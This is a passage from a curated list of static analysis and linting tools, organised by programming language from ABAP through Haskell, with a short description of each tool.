href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#erb">Embedded Ruby (a.k.a. ERB, eRuby)</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#gherkin">Gherkin</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#html">HTML</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#json">JSON</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#kubernetes">Kubernetes</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#latex">LaTeX</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#laravel">Laravel</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#make">Makefiles</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#markdown">Markdown</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#meta">Metalinter</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#mobile">Mobile</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#nix">Nix</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#nodejs">Node.js</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#package">Packages</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#protobuf">Protocol Buffers</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#puppet">Puppet</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#rails">Rails</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#security">Security/SAST</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#smart-contracts">Smart Contracts</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#support">Support</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#template">Template-Languages</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#terraform">Terraform</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#translation">Translation</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#vue">Vue.js</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#wasm">Webassembly</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#writing">Writing</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#yaml">YAML</a></li> <li><a href="https://raw.githubusercontent.com/analysis-tools-dev/static-analysis/master/#git">git</a></li> </ul> </details> <hr> <h2>Programming Languages</h2> <h2 id="abap">ABAP</h2> <ul> <li> <p><a href="https://abaplint.org">abaplint</a> — Linter for ABAP, written in TypeScript.</p> </li> <li> <p><a href="https://docs.abapopenchecks.org">abapOpenChecks</a> — Enhances the SAP Code Inspector with new and customizable checks.</p> </li> </ul> <h2 id="ada">Ada</h2> <ul> <li> <p><a href="https://www.adacore.com/static-analysis/codepeer">Codepeer</a> <span>©</span> — Detects run-time and logic errors.</p> </li> <li> <p><a href="https://www.mathworks.com/products/polyspace-ada.html">Polyspace for Ada</a> <span>©</span> — Provide code verification that proves the absence of overflow, divide-by-zero, out-of-bounds array access, and certain other run-time errors in source code.</p> </li> <li> <p><a href="https://www.adacore.com/about-spark">SPARK</a> <span>©</span> — Static analysis and formal verification toolset for Ada.</p> </li> </ul> <h2 id="asm">Assembly</h2> <ul> <li><a href="https://github.com/StanfordPL/stoke">STOKE</a> <span>⚠</span> — A programming-language agnostic stochastic optimizer for the x86_64 instruction set. It uses random search to explore the extremely high-dimensional space of all possible program transformations.</li> </ul> <h2 id="awk">Awk</h2> <ul> <li><a href="https://www.gnu.org/software/gawk/manual/html_node/Options.html">gawk --lint</a> — Warns about constructs that are dubious or nonportable to other awk implementations.</li> </ul> <h2 id="c">C</h2> <ul> <li> <p><a href="https://www.absint.com/astree/index.htm">Astrée</a> <span>©</span> — Astrée automatically proves the absence of runtime errors and invalid con­current behavior in C/C++ applications. It is sound for floating-point computations, very fast, and exceptionally precise. The analyzer also checks for MISRA/CERT/CWE/Adaptive Autosar coding rules and supports qualification for ISO 26262, DO-178C level A, and other safety standards. Jenkins and Eclipse plugins are available.</p> </li> <li> <p><a href="http://www.cprover.org/cbmc">CBMC</a> — Bounded model-checker for C programs, user-defined assertions, standard assertions, several coverage metric analyses.</p> </li> <li> <p><a href="https://clang.llvm.org/extra/clang-tidy">clang-tidy</a> — Clang-based C++ linter tool with the (limited) ability to fix issues, too.</p> </li> <li> <p><a href="https://github.com/KDE/clazy">clazy</a> — Qt-oriented static code analyzer based on the Clang framework. clazy is a compiler plugin which allows clang to understand Qt semantics. You get more than 50 Qt related compiler warnings, ranging from unneeded memory allocations to misusage of API, including fix-its for automatic refactoring.</p> </li> <li> <p><a href="https://github.com/MetricsGrimoire/CMetrics">CMetrics</a> — Measures size and complexity for C files.</p> </li> <li> <p><a href="https://cpachecker.sosy-lab.org">CPAchecker</a> — A tool for configurable software verification of C programs. The name CPAchecker was chosen to reflect that the tool is based on the CPA concepts and is used for checking software programs.</p> </li> <li> <p><a href="https://cppcheck.sourceforge.io">cppcheck</a> — Static analysis of C/C++ code.</p> </li> <li> <p><a href="https://www.cppdepend.com">CppDepend</a> <span>©</span> — Measure, query and visualize your code and avoid unexpected issues, technical debt and complexity.</p> </li> <li> <p><a href="https://github.com/google/styleguide/tree/gh-pages/cpplint">cpplint</a> — Automated C++ checker that follows Google's style guide.</p> </li> <li> <p><a href="https://github.com/dspinellis/cqmetrics">cqmetrics</a> — Quality metrics for C code.</p> </li> <li> <p><a href="https://www.spinellis.gr/cscout">CScout</a> <span>⚠</span> — Complexity and quality metrics for C and C preprocessor code.</p> </li> <li> <p><a href="http://esbmc.org">ESBMC</a> — ESBMC is an open source, permissively licensed, context-bounded model checker based on satisfiability modulo theories for the verification of single- and multi-threaded C/C++ programs.</p> </li> <li> <p><a href="http://dwheeler.com/flawfinder/">flawfinder</a> — Finds possible security weaknesses.</p> </li> <li> <p><a href="https://github.com/JossWhittle/FlintPlusPlus">flint++</a> — Cross-platform, zero-dependency port of flint, a lint program for C++ developed and used at Facebook.</p> </li> <li> <p><a href="https://www.frama-c.com">Frama-C</a> — A sound and extensible static analyzer for C code.</p> </li> <li> <p><a href="https://gcc.gnu.org/onlinedocs/gcc/Static-Analyzer-Options.html">GCC</a> — The GCC compiler has static analysis capabilities since version 10. This option is only available if GCC was configured with analyzer support enabled. It can also output its diagnostics to a JSON file in the SARIF format (from v13).</p> </li> <li> <p><a href="https://goblint.in.tum.de">Goblint</a> — A static analyzer for the analysis of multi-threaded C programs. Its primary focus is the detection of data races, but it also reports other runtime errors, such as buffer overflows and null-pointer dereferences.</p> </li> <li> <p><a href="https://www.perforce.com/products/helix-qac">Helix QAC</a> <span>©</span> — Enterprise-grade static analysis for embedded software. Supports MISRA, CERT, and AUTOSAR coding standards.</p> </li> <li> <p><a href="https://github.com/nasa-sw-vnv/ikos">IKOS</a> — A sound static analyzer for C/C++ code based on LLVM.</p> </li> <li> <p><a href="https://joern.io">Joern</a> — Open-source code analysis platform for C/C++ based on code property graphs</p> </li> <li> <p><a href="http://klee.github.io/">KLEE</a> — A dynamic symbolic execution engine built on top of the LLVM compiler infrastructure. It can auto-generate test cases for programs such that the test cases exercise as much of the program as possible.</p> </li> <li> <p><a href="https://ldra.com">LDRA</a> <span>©</span> — A tool suite including static analysis (TBVISION) to various standards including MISRA C &amp; C++, JSF++ AV, CWE, CERT C, CERT C++ &amp; Custom Rules.</p> </li> <li> <p><a href="https://galoisinc.github.io/MATE/">MATE</a> <span>⚠</span> — A suite of tools for interactive program analysis with a focus on hunting for bugs in C and C++ code. MATE unifies application-specific and low-level vulnerability analysis using code property graphs (CPGs), enabling the discovery of highly application-specific vulnerabilities that depend on both implementation details and the high-level semantics of target C/C++ programs.</p> </li> <li> <p><a href="https://pclintplus.com/">PC-lint</a> <span>©</span> — Static analysis for C/C++. Runs natively under Windows/Linux/MacOS. Analyzes code for virtually any platform, supporting C11/C18 and C++17.</p> </li> <li> <p><a href="https://phasar.org">Phasar</a> — A LLVM-based static analysis framework which comes with a taint and type state analysis.</p> </li> <li> <p><a href="https://www.mathworks.com/products/polyspace-bug-finder.html">Polyspace Bug Finder</a> <span>©</span> — Identifies run-time errors, concurrency issues, security vulnerabilities, and other defects in C and C++ embedded software.</p> </li> <li> <p><a href="https://www.mathworks.com/products/polyspace-code-prover.html">Polyspace Code Prover</a> <span>©</span> — Provide code verification that proves the absence of overflow, divide-by-zero, out-of-bounds array access, and certain other run-time errors in C and C++ source code.</p> </li> <li> <p><a href="https://clang-analyzer.llvm.org/scan-build.html">scan-build</a> — Frontend to drive the Clang Static Analyzer built into Clang via a regular build.</p> </li> <li> <p><a href="http://splint.org">splint</a> — Annotation-assisted static program checker.</p> </li> <li> <p><a href="https://svf-tools.github.io/SVF">SVF</a> — A static tool that enables scalable and precise interprocedural dependence analysis for C and C++ programs.</p> </li> <li> <p><a href="https://trust-in-soft.com">TrustInSoft Analyzer</a> <span>©</span> — Exhaustive detection of coding errors and their associated security vulnerabilities. This encompasses a sound undefined behavior detection (buffer overflows, out-of-bounds array accesses, null-pointer dereferences, use-after-free, divide-by-zeros, uninitialized memory accesses, signed overflows, invalid pointer arithmetic, etc.), data flow and control flow verification as well as full functional verification of formal specifications. All versions of C up to C18 and C++ up to C++20 are supported. TrustInSoft Analyzer will acquire ISO 26262 qualification in Q2'2023 (TCL3). A MISRA C checker is also bundled.</p> </li> <li> <p><a href="https://bitbucket.org/verateam/vera/wiki/Introduction">vera++</a> — Vera++ is a programmable tool for verification, analysis and transformation of C++ source code.</p> </li> </ul> <h2 id="csharp">C#</h2> <ul> <li> <p><a href="https://github.com/DotNetAnalyzers">.NET Analyzers</a> — An organization for the development of analyzers (diagnostics and code fixes) using the .NET Compiler Platform.</p> </li> <li> <p><a href="https://github.com/TNG/ArchUnitNET">ArchUnitNET</a> — A C# architecture test library to specify and assert architecture rules in C# for automated testing.</p> </li> <li> <p><a href="https://code-cracker.github.io">code-cracker</a> — An analyzer library for C# and VB that uses Roslyn to produce refactorings, code analysis, and other niceties.</p> </li> <li> <p><a href="https://github.com/DustinCampbell/CSharpEssentials">CSharpEssentials</a> <span>⚠</span> — C# Essentials is a collection of Roslyn diagnostic analyzers, code fixes and refactorings that make it easy to work with C# 6 language features.</p> </li> <li> <p><a href="http://www.designite-tools.com">Designite</a> <span>©</span> — Designite supports detection of various architecture, design, and implementation smells, computation of various code quality metrics, and trend analysis.</p> </li> <li> <p><a href="https://www.mono-project.com/docs/tools+libraries/tools/gendarme">Gendarme</a> — Gendarme inspects programs and libraries that contain code in ECMA CIL format (Mono and .NET).</p> </li> <li> <p><a href="https://github.com/microsoft/infersharp">Infer#</a> — InferSharp (also referred to as Infer#) is an interprocedural and scalable static code analyzer for C#. Via the capabilities of Facebook's Infer, this tool detects null pointer dereferences and resource leaks.</p> </li> <li> <p><a href="https://github.com/meziantou/Meziantou.Analyzer">Meziantou.Analyzer</a> — A Roslyn analyzer to enforce some good practices in C# in terms of design, usage, security, performance, and style.</p> </li> <li> <p><a href="http://www.ndepend.com">NDepend</a> <span>©</span> — Measure, query and visualize your code and avoid unexpected issues, technical debt and complexity.</p> </li> <li> <p><a href="https://pumasecurity.io">Puma Scan</a> — Puma Scan provides real time secure code analysis for common vulnerabilities (XSS, SQLi, CSRF, LDAPi, crypto, deserialization, etc.) as development teams write code in Visual Studio.</p> </li> <li> <p><a href="https://github.com/JosefPihrt/Roslynator">Roslynator</a> — A collection of 190+ analyzers and 190+ refactorings for C#, powered by Roslyn.</p> </li> <li> <p><a href="https://github.com/SonarSource/sonar-dotnet">SonarAnalyzer.CSharp</a> — These Roslyn analyzers allow you to produce Clean Code that is safe, reliable, and maintainable by helping you find and correct bugs, vulnerabilities, and code smells in your codebase.</p> </li> <li> <p><a href="https://github.com/Vannevelj/VSDiagnostics">VSDiagnostics</a> — A collection of static analyzers based on Roslyn that integrates with VS.</p> </li> <li> <p><a href="https://github.com/Wintellect/Wintellect.Analyzers">Wintellect.Analyzers</a> — .NET Compiler Platform ("Roslyn") diagnostic analyzers and code fixes.</p> </li> </ul> <h2 id="cpp">C++</h2> <ul> <li> <p><a href="https://www.absint.com/astree/index.htm">Astrée</a> <span>©</span> — Astrée automatically proves the absence of runtime errors and invalid con­current behavior in C/C++ applications. It is sound for floating-point computations, very fast, and exceptionally precise. The analyzer also checks for MISRA/CERT/CWE/Adaptive Autosar coding rules and supports qualification for ISO 26262, DO-178C level A, and other safety standards. Jenkins and Eclipse plugins are available.</p> </li> <li> <p><a href="http://www.cprover.org/cbmc">CBMC</a> — Bounded model-checker for C programs, user-defined assertions, standard assertions, several coverage metric analyses.</p> </li> <li> <p><a href="https://clang.llvm.org/extra/clang-tidy">clang-tidy</a> — Clang-based C++ linter tool with the (limited) ability to fix issues, too.</p> </li> <li> <p><a href="https://github.com/KDE/clazy">clazy</a> — Qt-oriented static code analyzer based on the Clang framework. clazy is a compiler plugin which allows clang to understand Qt semantics. You get more than 50 Qt related compiler warnings, ranging from unneeded memory allocations to misusage of API, including fix-its for automatic refactoring.</p> </li> <li> <p><a href="https://github.com/MetricsGrimoire/CMetrics">CMetrics</a> — Measures size and complexity for C files.</p> </li> <li> <p><a href="https://cppcheck.sourceforge.io">cppcheck</a> — Static analysis of C/C++ code.</p> </li> <li> <p><a href="https://www.cppdepend.com">CppDepend</a> <span>©</span> — Measure, query and visualize your code and avoid unexpected issues, technical debt and complexity.</p> </li> <li> <p><a href="https://github.com/google/styleguide/tree/gh-pages/cpplint">cpplint</a> — Automated C++ checker that follows Google's style guide.</p> </li> <li> <p><a href="https://github.com/dspinellis/cqmetrics">cqmetrics</a> — Quality metrics for C code.</p> </li> <li> <p><a href="https://www.spinellis.gr/cscout">CScout</a> <span>⚠</span> — Complexity and quality metrics for C and C preprocessor code.</p> </li> <li> <p><a href="http://esbmc.org">ESBMC</a> — ESBMC is an open source, permissively licensed, context-bounded model checker based on satisfiability modulo theories for the verification of single- and multi-threaded C/C++ programs.</p> </li> <li> <p><a href="http://dwheeler.com/flawfinder/">flawfinder</a> — Finds possible security weaknesses.</p> </li> <li> <p><a href="https://github.com/JossWhittle/FlintPlusPlus">flint++</a> — Cross-platform, zero-dependency port of flint, a lint program for C++ developed and used at Facebook.</p> </li> <li> <p><a href="https://www.frama-c.com">Frama-C</a> — A sound and extensible static analyzer for C code.</p> </li> <li> <p><a href="https://www.perforce.com/products/helix-qac">Helix QAC</a> <span>©</span> — Enterprise-grade static analysis for embedded software. Supports MISRA, CERT, and AUTOSAR coding standards.</p> </li> <li> <p><a href="https://github.com/nasa-sw-vnv/ikos">IKOS</a> — A sound static analyzer for C/C++ code based on LLVM.</p> </li> <li> <p><a href="https://joern.io">Joern</a> — Open-source code analysis platform for C/C++ based on code property graphs</p> </li> <li> <p><a href="http://klee.github.io/">KLEE</a> — A dynamic symbolic execution engine built on top of the LLVM compiler infrastructure. It can auto-generate test cases for programs such that the test cases exercise as much of the program as possible.</p> </li> <li> <p><a href="https://ldra.com">LDRA</a> <span>©</span> — A tool suite including static analysis (TBVISION) to various standards including MISRA C &amp; C++, JSF++ AV, CWE, CERT C, CERT C++ &amp; Custom Rules.</p> </li> <li> <p><a href="https://galoisinc.github.io/MATE/">MATE</a> <span>⚠</span> — A suite of tools for interactive program analysis with a focus on hunting for bugs in C and C++ code. MATE unifies application-specific and low-level vulnerability analysis using code property graphs (CPGs), enabling the discovery of highly application-specific vulnerabilities that depend on both implementation details and the high-level semantics of target C/C++ programs.</p> </li> <li> <p><a href="https://pclintplus.com/">PC-lint</a> <span>©</span> — Static analysis for C/C++. Runs natively under Windows/Linux/MacOS. Analyzes code for virtually any platform, supporting C11/C18 and C++17.</p> </li> <li> <p><a href="https://phasar.org">Phasar</a> — A LLVM-based static analysis framework which comes with a taint and type state analysis.</p> </li> <li> <p><a href="https://www.mathworks.com/products/polyspace-bug-finder.html">Polyspace Bug Finder</a> <span>©</span> — Identifies run-time errors, concurrency issues, security vulnerabilities, and other defects in C and C++ embedded software.</p> </li> <li> <p><a href="https://www.mathworks.com/products/polyspace-code-prover.html">Polyspace Code Prover</a> <span>©</span> — Provide code verification that proves the absence of overflow, divide-by-zero, out-of-bounds array access, and certain other run-time errors in C and C++ source code.</p> </li> <li> <p><a href="https://clang-analyzer.llvm.org/scan-build.html">scan-build</a> — Frontend to drive the Clang Static Analyzer built into Clang via a regular build.</p> </li> <li> <p><a href="http://splint.org">splint</a> — Annotation-assisted static program checker.</p> </li> <li> <p><a href="https://svf-tools.github.io/SVF">SVF</a> — A static tool that enables scalable and precise interprocedural dependence analysis for C and C++ programs.</p> </li> <li> <p><a href="https://trust-in-soft.com">TrustInSoft Analyzer</a> <span>©</span> — Exhaustive detection of coding errors and their associated security vulnerabilities. This encompasses a sound undefined behavior detection (buffer overflows, out-of-bounds array accesses, null-pointer dereferences, use-after-free, divide-by-zeros, uninitialized memory accesses, signed overflows, invalid pointer arithmetic, etc.), data flow and control flow verification as well as full functional verification of formal specifications. All versions of C up to C18 and C++ up to C++20 are supported. TrustInSoft Analyzer will acquire ISO 26262 qualification in Q2'2023 (TCL3). A MISRA C checker is also bundled.</p> </li> <li> <p><a href="https://bitbucket.org/verateam/vera/wiki/Introduction">vera++</a> — Vera++ is a programmable tool for verification, analysis and transformation of C++ source code.</p> </li> </ul> <h2 id="clojure">Clojure</h2> <ul> <li><a href="https://github.com/borkdude/clj-kondo">clj-kondo</a> — A linter for Clojure code that sparks joy. It informs you about potential errors while you are typing.</li> </ul> <h2 id="coffeescript">CoffeeScript</h2> <ul> <li><a href="https://coffeelint.github.io/">coffeelint</a> <span>⚠</span> — A style checker that helps keep CoffeeScript code clean and consistent.</li> </ul> <h2 id="coldfusion">ColdFusion</h2> <ul> <li><a href="https://fixinator.app">Fixinator</a> <span>©</span> — Static security code analysis for ColdFusion or CFML code. Designed to work within a CI pipeline or from the developers terminal.</li> </ul> <h2 id="crystal">Crystal</h2> <ul> <li> <p><a href="https://crystal-ameba.github.io">ameba</a> — A static code analysis tool for Crystal.</p> </li> <li> <p><a href="https://crystal-lang.org">crystal</a> — The Crystal compiler has built-in linting functionality.</p> </li> </ul> <h2 id="dart">Dart</h2> <ul> <li> <p><a href="https://pub.dev/packages/dart_code_metrics">Dart Code Metrics</a> — Additional linter for Dart. Reports code metrics, checks for anti-patterns and provides additional rules for Dart analyzer.</p> </li> <li> <p><a href="https://pub.dev/packages/effective_dart">effective_dart</a> — Linter rules corresponding to the guidelines in Effective Dart</p> </li> <li> <p><a href="https://github.com/passsy/dart-lint">lint</a> — An opinionated, community-driven set of lint rules for Dart and Flutter projects. Like pedantic but stricter</p> </li> <li> <p><a href="https://dart-lang.github.io/linter">Linter for dart</a> — Style linter for Dart.</p> </li> </ul> <h2 id="delphi">Delphi</h2> <ul> <li> <p><a href="https://www.tmssoftware.com/site/fixinsight.asp">Fix Insight</a> <span>©</span> — A free IDE Plugin for static code analysis. A <em>Pro</em> edition includes a command line tool for automation purposes.</p> </li> <li> <p><a href="https://peganza.com/products_pal.html">Pascal Analyzer</a> <span>©</span> — A static code analysis tool with numerous reports. A free <em>Lite</em> version is available with limited reporting.</p> </li> <li> <p><a href="https://peganza.com/products_pex.html">Pascal Expert</a> <span>©</span> — IDE plugin for code analysis. Includes a subset of Pascal Analyzer reporting capabilities and is available for Delphi versions 2007 and later.</p> </li> </ul> <h2 id="dlang">Dlang</h2> <ul> <li><a href="https://github.com/dlang-community/D-Scanner">D-scanner</a> — D-Scanner is a tool for analyzing D source code.</li> </ul> <h2 id="elixir">Elixir</h2> <ul> <li> <p><a href="https://github.com/rrrene/credo">credo</a> — A static code analysis tool with a focus on code consistency and teaching.</p> </li> <li> <p><a href="https://github.com/jeremyjh/dialyxir">dialyxir</a> — Mix tasks to simplify use of Dialyzer in Elixir projects.</p> </li> <li> <p><a href="https://github.com/nccgroup/sobelow">sobelow</a> — Security-focused static analysis for the Phoenix Framework.</p> </li> </ul> <h2 id="elm">Elm</h2> <ul> <li> <p><a href="https://stil4m.github.io/elm-analyse">elm-analyse</a> <span>⚠</span> — A tool that allows you to analyse your Elm code, identify deficiencies and apply best practices.</p> </li> <li> <p><a href="https://package.elm-lang.org/packages/jfmengels/elm-review/latest">elm-review</a> — Analyzes whole Elm projects, with a focus on shareable and custom rules written in Elm that add guarantees the Elm compiler doesn't give you.</p> </li> </ul> <h2 id="erlang">Erlang</h2> <ul> <li> <p><a href="https://www.erlang.org/doc/man/dialyzer.html">dialyzer</a> — The DIALYZER, a DIscrepancy AnaLYZer for ERlang programs. Dialyzer is a static analysis tool that identifies software discrepancies, such as definite type errors, code that has become dead or unreachable because of programming error, and unnecessary tests, in single Erlang modules or entire (sets of) applications. Dialyzer starts its analysis from either debug-compiled BEAM bytecode or from Erlang source code. The file and line number of a discrepancy is reported along with an indication of what the discrepancy is about. Dialyzer bases its analysis on the concept of success typings, which allows for sound warnings (no false positives).</p> </li> <li> <p><a href="https://github.com/inaka/elvis">elvis</a> — Erlang Style Reviewer.</p> </li> <li> <p><a href="https://github.com/okeuday/pest">Primitive Erlang Security Tool (PEST)</a> <span>⚠</span> — A tool to do a basic scan of Erlang source code and report any function calls that may cause Erlang source code to be insecure.</p> </li> </ul> <h2 id="fsharp">F#</h2> <ul> <li><a href="https://fsprojects.github.io/FSharpLint">FSharpLint</a> — Lint tool for F#.</li> </ul> <h2 id="fortran">Fortran</h2> <ul> <li> <p><a href="https://pypi.python.org/pypi/fprettify">fprettify</a> — Auto-formatter for modern fortran source code, written in Python. Fprettify is a tool that provides consistent whitespace, indentation, and delimiter alignment in code, including the ability to change letter case and handle preprocessor directives, all while preserving revision history and tested for editor integration.</p> </li> <li> <p><a href="https://github.com/lequal/i-CodeCNES">i-Code CNES for Fortran</a> — An open source static code analysis tool for Fortran 77, Fortran 90 and Shell.</p> </li> </ul> <h2 id="go">Go</h2> <ul> <li> <p><a href="https://gitlab.com/opennota/check">aligncheck</a> — Find inefficiently packed structs.</p> </li> <li> <p><a href="https://github.com/timakin/bodyclose">bodyclose</a> — Checks whether HTTP response body is closed.</p> </li> <li> <p><a href="https://github.com/tsenart/deadcode">deadcode</a> — Finds unused code.</p> </li> <li> <p><a href="https://github.com/nickng/dingo-hunter">dingo-hunter</a> — Static analyser for finding deadlocks in Go.</p> </li> <li> <p><a href="https://github.com/alexkohler/dogsled">dogsled</a> — Finds assignments/declarations with too many blank identifiers.</p> </li> <li> <p><a href="https://github.com/mibk/dupl">dupl</a> <span>⚠</span> — Reports potentially duplicated code.</p> </li> <li> <p><a href="https://github.com/kisielk/errcheck">errcheck</a> — Check that error return values are used.</p> </li> <li> <p><a href="https://github.com/fatih/errwrap">errwrap</a> — Wrap and fix Go errors with the new %w verb directive. This tool analyzes fmt.Errorf() calls and reports calls that contain a verb directive that is different than the new %w verb directive introduced in Go v1.13. It's also capable of rewriting calls to use the new %w wrap verb directive.</p> </li> <li> <p><a href="https://github.com/lafolle/flen">flen</a> — Get info on length of functions in a Go package.</p> </li> <li> <p><a href="https://github.com/alecthomas/gometalinter">Go Meta Linter</a> <span>⚠</span> — Concurrently run Go lint tools and normalise their output. Use <code>golangci-lint</code> for new projects.</p> </li> <li> <p><a href="https://golang.org/cmd/vet#hdr-Shadowed_variables">go tool vet --shadow</a> — Reports variables that may have been unintentionally shadowed.</p> </li> <li> <p><a href="https://golang.org/cmd/vet">go vet</a> — Examines Go source code and reports suspicious.</p> </li> <li> <p><a href="https://github.com/Quasilyte/go-consistent">go-consistent</a> — Analyzer that helps you to make your Go programs more consistent.</p> </li> <li> <p><a href="https://github.com/go-critic/go-critic">go-critic</a> — Go source code linter that maintains checks which are currently not implemented in other linters.</p> </li> <li> <p><a href="https://golang.org/pkg/go/ast">go/ast</a> — Package ast declares the types used to represent syntax trees for Go packages.</p> </li> <li> <p><a href="https://github.com/m-mizutani/goast">goast</a> — Go AST (Abstract Syntax Tree) based static analysis tool with Rego.</p> </li> <li> <p><a href="https://github.com/leighmcculloch/gochecknoglobals">gochecknoglobals</a> — Checks that no globals are present.</p> </li> <li> <p><a href="https://github.com/jgautheron/goconst">goconst</a> — Finds repeated strings that could be replaced by a constant.</p> </li> <li> <p><a href="https://github.com/fzipp/gocyclo">gocyclo</a> — Calculate cyclomatic complexities of functions in Go source code.</p> </li> <li> <p><a href="https://golang.org/cmd/gofmt">gofmt -s</a> — Checks if the code is properly formatted and could not be further simplified.</p> </li> <li> <p><a href="https://github.com/mvdan/gofumpt">gofumpt</a> — Enforce a stricter format than <code>gofmt</code>, while being backwards-compatible. That is, <code>gofumpt</code> is happy with a subset of the formats that <code>gofmt</code> is happy with. The tool is a fork of <code>gofmt</code> as of Go 1.19, and requires Go 1.18 or later. It can be used as a drop-in replacement to format your Go code, and running gofmt after gofumpt should produce no changes. <code>gofumpt</code> will never add rules which disagree with <code>gofmt</code> formatting. So we extend <code>gofmt</code> rather than compete with it.</p> </li> <li> <p><a href="https://pkg.go.dev/golang.org/x/tools/cmd/goimports">goimports</a> — Checks missing or unreferenced package imports.</p> </li> <li> <p><a href="https://github.com/praetorian-inc/gokart">gokart</a> — Golang security analysis with a focus on minimizing false positives. It is capable of tracing the source of variables and function arguments to determine whether input sources are safe.</p> </li> <li> <p><a href="https://golangci-lint.run">GolangCI-Lint</a> — Alternative to <code>Go Meta Linter</code>: GolangCI-Lint is a linters aggregator.</p> </li> <li> <p><a href="https://github.com/golang/lint">golint</a> — Prints out coding style mistakes in Go source code.</p> </li> <li> <p><a href="https://github.com/360EntSecGroup-Skylar/goreporter">goreporter</a> — Concurrently runs many linters and normalises their output to a report.</p> </li> <li> <p><a href="https://github.com/linuxerwang/goroutine-inspect">goroutine-inspect</a> — An interactive tool to analyze Golang goroutine dump.</p> </li> <li> <p><a href="https://securego.io">gosec (gas)</a> — Inspects source code for security problems by scanning the Go AST.</p> </li> <li> <p><a href="https://pkg.go.dev/golang.org/x/tools/cmd/gotype">gotype</a> — Syntactic and semantic analysis similar to the Go compiler.</p> </li> <li> <p><a href="https://go.dev/blog/vuln">govulncheck</a> — Govulncheck reports known vulnerabilities that affect Go code. It uses static analysis of source code or a binary's symbol table to narrow down reports to only those that could affect the application. By default, govulncheck makes requests to the Go vulnerability database at <a href="https://vuln.go.dev">https://vuln.go.dev</a>. Requests to the vulnerability database contain only module paths, not code or other properties of your program.</p> </li> <li> <p><a href="https://github.com/gordonklaus/ineffassign">ineffassign</a> — Detect ineffectual assignments in Go code.</p> </li> <li> <p><a href="https://github.com/mvdan/interfacer">interfacer</a> <span>⚠</span> — Suggest narrower interfaces that can be used.</p> </li> <li> <p><a href="https://github.com/walle/lll">lll</a> <span>⚠</span> — Report long lines.</p> </li> <li> <p><a href="https://github.com/mdempsky/maligned">maligned</a> <span>⚠</span> — Detect structs that would take less memory if their fields were sorted.</p> </li> <li> <p><a href="https://github.com/client9/misspell">misspell</a> — Finds commonly misspelled English words.</p> </li> <li> <p><a href="https://github.com/alexkohler/nakedret">nakedret</a> — Finds naked returns.</p> </li> <li> <p><a href="https://github.com/alexkohler/nargs">nargs</a> — Finds unused arguments in function declarations.</p> </li> <li> <p><a href="https://github.com/alexkohler/prealloc">prealloc</a> — Finds slice declarations that could potentially be preallocated.</p> </li> <li> <p><a href="https://github.com/haya14busa/reviewdog">Reviewdog</a> — A tool for posting review comments from any linter in any code hosting service.</p> </li> <li> <p><a href="https://revive.run">revive</a> — Fast, configurable, extensible, flexible, and beautiful linter for Go. Drop-in replacement of golint.</p> </li> <li> <p><a href="https://github.com/stripe/safesql">safesql</a> <span>⚠</span> — Static analysis tool for Golang that protects against SQL injections.</p> </li> <li> <p><a href="https://docs.shisho.dev/">shisho</a> — A lightweight static code analyzer designed for developers and security teams. It allows you to analyze and transform source code with an intuitive DSL similar to sed, but for code.</p> </li> <li> <p><a href="https://staticcheck.io">staticcheck</a> — Go static analysis that specialises in finding bugs, simplifying code and improving performance.</p> </li> <li> <p><a href="https://gitlab.com/opennota/check">structcheck</a> — Find unused struct fields.</p> </li> <li> <p><a href="https://github.com/orijtech/structslop">structslop</a> — Static analyzer for Go that recommends struct field rearrangements to provide for maximum space/allocation efficiency</p> </li> <li> <p><a href="https://pkg.go.dev/testing">test</a> — Show location of test failures from the stdlib testing module.</p> </li> <li> <p><a href="https://github.com/mdempsky/unconvert">unconvert</a> — Detect redundant type conversions.</p> </li> <li> <p><a href="https://github.com/mvdan/unparam">unparam</a> — Find unused function parameters.</p> </li> <li> <p><a href="https://gitlab.com/opennota/check">varcheck</a> — Find unused global variables and constants.</p> </li> <li> <p><a href="https://github.com/bombsimon/wsl">wsl</a> — Enforces empty lines at the right places.</p> </li> </ul> <h2 id="groovy">Groovy</h2> <ul> <li><a href="https://codenarc.github.io/CodeNarc">CodeNarc</a> — A static analysis tool for Groovy source code, enabling monitoring and enforcement of many coding standards and best practices.</li> </ul> <h2 id="haskell">Haskell</h2> <ul> <li> <p><a href="https://github.com/lspitzner/brittany">brittany</a> — Haskell source code formatter</p> </li> <li> <p><a href="https://github.com/ndmitchell/hlint">HLint</a> — HLint is a tool for suggesting possible improvements to Haskell code.</p> </li> <li> <p><a href="https://ucsd-progsys.github.io/liquidhaskell-blog/">Liquid Haskell</a> — Liquid Haskell is a 